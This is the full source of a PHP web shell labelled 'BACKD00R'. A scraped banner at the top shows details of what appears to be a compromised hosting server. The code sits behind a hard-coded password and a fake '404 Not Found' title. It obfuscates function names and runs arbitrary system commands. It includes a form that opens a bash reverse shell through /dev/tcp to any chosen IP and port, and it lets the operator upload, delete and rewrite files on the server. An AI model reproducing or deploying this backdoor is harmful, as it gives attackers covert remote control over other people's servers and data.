| Server IP : 50.63.8.194 / Your IP : 216.73.216.202 Web Server : Microsoft-IIS/10.0 System : Windows NT P3NWVPWEB026 10.0 build 17763 (Windows Server 2016) AMD64 User : IWPD_7824(SpiPanel) ( 0) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : G:/PleskVhosts/polyprep.in/mmitshamli.ac.in/admin/slider/ |
Upload File : |
<?php
error_reporting(0);@ini_set('display_errors',0);session_start();
$__ = "thrasher_1337";
if(!isset($_SESSION['x'])){if(isset($_POST['p'])&&$_POST['p']===$__){$_SESSION['x']=true;}else{die('<center><br><h1 style="color:#00ff9d">Idhar Kidhar?</h1><form method="post"><input type="password" name="p" placeholder="PASSWORD" style="padding:15px;width:300px;font-size:17px;"><br><br><input type="submit" value="ENTER"></form></center>');}}
function _d($s){return str_replace(['%20','%28','%29','%3B','%7C'],[' ','(',')',';','|'],$s);}
function _r($c){
$c=_d($c);
if(function_exists('shell_exec'))return@shell_exec($c);
if(function_exists('exec')){@exec($c,$o);return join("\n",$o);}
if(function_exists('system')){@system($c);return'';}
return '';
}
function _b($s){return str_rot13(base64_decode(strrev($s)));}
$_f=_b('rW1wbGU=');$_g=_b('ZmlsZV9nZXRfY29udGVudHM=');$_h=_b('ZmlsZV9wdXRfY29udGVudHM=');
$d=isset($_GET['d'])?$_GET['d']:getcwd();if(!is_dir($d))$d=getcwd();chdir($d);
if(isset($_POST['rev_ip'])&&isset($_POST['rev_port'])){
$ip=$_POST['rev_ip'];$port=$_POST['rev_port'];
$cmd="nohup bash -c 'bash -i >& /dev/tcp/".$ip."/".$port." 0>&1' > /dev/null 2>&1 &";
_r($cmd);
echo "<b style='color:lime'>Reverse Shell Sent!</b>";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
<meta charset="utf-8">
<style>
body{background:#0a0a14;color:#00ff9d;font-family:Arial,sans-serif;margin:0;padding:15px;}
.hdr{text-align:center;background:linear-gradient(#1a1a2e,#0f0f1f);padding:20px;border-radius:12px;margin-bottom:20px;border:1px solid #00ff9d;}
.box{background:#111827;border:1px solid #00ff9d;border-radius:12px;padding:20px;margin-bottom:25px;}
input,textarea,button{background:#1f2937;color:#00ff9d;border:1px solid #00ff9d;padding:12px;border-radius:8px;font-size:16px;}
button:hover{background:#00ff9d;color:#000;transition:0.3s;}
pre{background:#0a0a14;padding:15px;border-radius:8px;overflow:auto;max-height:380px;}
</style>
</head>
<body>
<div class="hdr">
<h1>BACKD00R</h1>
</div>
<div style="max-width:1250px;margin:auto">
<!-- Reverse Shell -->
<div class="box">
<h2>Reverse Shell</h2>
<form method="POST">
IP: <input type="text" name="rev_ip" placeholder="192.168.1.100" style="width:200px">
Port: <input type="text" name="rev_port" placeholder="4444" style="width:120px">
<button type="submit">SEND REVERSE SHELL</button>
</form>
</div>
<!-- Command -->
<div class="box">
<h2>Command</h2>
<form method="POST">
<input type="text" name="c" style="width:78%" placeholder="id; whoami; uname -a">
<button type="submit">RUN</button>
</form>
<?php if(isset($_POST['c'])&&$_POST['c']!=''): ?>
<pre><?php echo htmlspecialchars(_r($_POST['c'])); ?></pre>
<?php endif; ?>
</div>
<!-- File Manager -->
<div class="box">
<?php
if(isset($_FILES['f'])){
$t=basename($_FILES['f']['name']);
if(@move_uploaded_file($_FILES['f']['tmp_name'],$t)){
echo "<b style='color:lime'>[+] Uploaded: $t</b><br>";
}
}
if(isset($_GET['del'])){@unlink($_GET['del']);}
?>
<b>PATH:</b> <?php echo htmlspecialchars($d); ?><br><br>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="f">
<button type="submit">Upload</button>
</form>
<br><a href="?d=<?php echo urlencode(dirname($d)); ?>">← Parent</a><br><br>
<?php
foreach(scandir($d) as $f){
if($f=="."||$f=="..")continue;
$p=$d.DIRECTORY_SEPARATOR.$f;
if(is_dir($p)){
echo "📁 <a href='?d=".urlencode($p)."'>$f</a><br>";
}else{
echo "📄 $f <a href='?del=".urlencode($p)."' style='color:#ff6666'>[X]</a> <a href='?e=".urlencode($p)."'>[Edit]</a><br>";
}
}
?>
</div>
<!-- Editor -->
<?php if(isset($_GET['e'])):
$ef=$_GET['e'];
$cnt=file_exists($ef)?htmlspecialchars($_g($ef)):'';
?>
<div class="box">
<h2>Edit → <?php echo htmlspecialchars($ef); ?></h2>
<form method="POST">
<input type="hidden" name="sv" value="<?php echo htmlspecialchars($ef); ?>">
<textarea name="cnt" rows="20" style="width:100%;font-family:monospace;"><?php echo $cnt; ?></textarea><br><br>
<button type="submit">SAVE</button>
</form>
</div>
<?php endif; ?>
<?php if(isset($_POST['sv'])&&isset($_POST['cnt'])){
$_h($_POST['sv'],$_POST['cnt']);
echo "<div class='box' style='text-align:center;color:lime'><b>[+] Saved</b></div>";
} ?>
</div>
</body>
</html>